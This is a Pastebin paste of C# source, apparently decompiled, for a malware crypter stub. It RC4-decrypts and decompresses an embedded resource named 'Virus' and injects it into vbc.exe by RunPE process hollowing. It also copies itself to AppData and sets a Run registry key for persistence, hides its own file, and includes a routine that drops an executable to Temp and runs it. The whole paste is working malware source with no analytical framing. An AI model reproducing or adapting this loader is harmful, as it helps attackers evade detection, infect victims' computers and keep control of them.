Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic.CompilerServices;
- using Microsoft.Win32;
- using My;
- using My.Resources;
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.IO.Compression;
- using System.Text;
- using System.Windows.Forms;
- namespace A
- {
- public class A
- {
- public static void _Start()
- {
- byte[] bytes = A.DeCompress(A.Proper_RC4(Resources.Virus, "Password"));
- RunPE.InjectPE(bytes, "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
- string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\vbc.exe";
- try
- {
- File.Copy(Application.ExecutablePath, text);
- MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("vbc", text, RegistryValueKind.String);
- }
- catch (Exception expr_66)
- {
- ProjectData.SetProjectError(expr_66);
- ProjectData.ClearProjectError();
- }
- try
- {
- File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
- }
- catch (Exception expr_81)
- {
- ProjectData.SetProjectError(expr_81);
- ProjectData.ClearProjectError();
- }
- }
- private static byte[] Proper_RC4(byte[] Input, string Keys)
- {
- byte[] bytes = Encoding.Default.GetBytes(Keys);
- uint[] array = new uint[256];
- checked
- {
- byte[] array2 = new byte[Input.Length - 1 + 1];
- uint num = 0u;
- do
- {
- array[(int)num] = num;
- num += 1u;
- }
- while (num <= 255u);
- num = 0u;
- uint num2;
- do
- {
- num2 = (uint)(unchecked((ulong)checked(num2 + (uint)bytes[(int)unchecked((ulong)num % (ulong)((long)bytes.Length))] + array[(int)num])) & 255uL);
- uint num3 = array[(int)num];
- array[(int)num] = array[(int)num2];
- array[(int)num2] = num3;
- num += 1u;
- }
- while (num <= 255u);
- num = 0u;
- num2 = 0u;
- int arg_89_0 = 0;
- int num4 = array2.Length - 1;
- for (int i = arg_89_0; i <= num4; i++)
- {
- num = (uint)(unchecked((ulong)num) + 1uL & 255uL);
- num2 = (uint)(unchecked((ulong)checked(num2 + array[(int)num])) & 255uL);
- uint num3 = array[(int)num];
- array[(int)num] = array[(int)num2];
- array[(int)num2] = num3;
- array2[i] = (byte)((uint)Input[i] ^ array[(int)(unchecked((ulong)checked(array[(int)num] + array[(int)num2])) & 255uL)]);
- }
- return array2;
- }
- }
- public static byte[] DeCompress(byte[] input)
- {
- MemoryStream stream = new MemoryStream(input);
- DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
- int num = 0;
- int num2 = 0;
- checked
- {
- byte[] array;
- while (true)
- {
- array = (byte[])Utils.CopyArray((Array)array, new byte[num2 + 100 + 1]);
- int num3 = deflateStream.Read(array, num, 100);
- if (num3 == 0)
- {
- break;
- }
- num += num3;
- num2 += num3;
- }
- array = (byte[])Utils.CopyArray((Array)array, new byte[num2 - 1 + 1]);
- return array;
- }
- }
- public static void Drop_Run(byte[] bid)
- {
- File.WriteAllBytes(Path.GetTempPath() + "\\%Service.exe%", bid);
- Process.Start(Path.GetTempPath() + "\\%Service.exe%");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement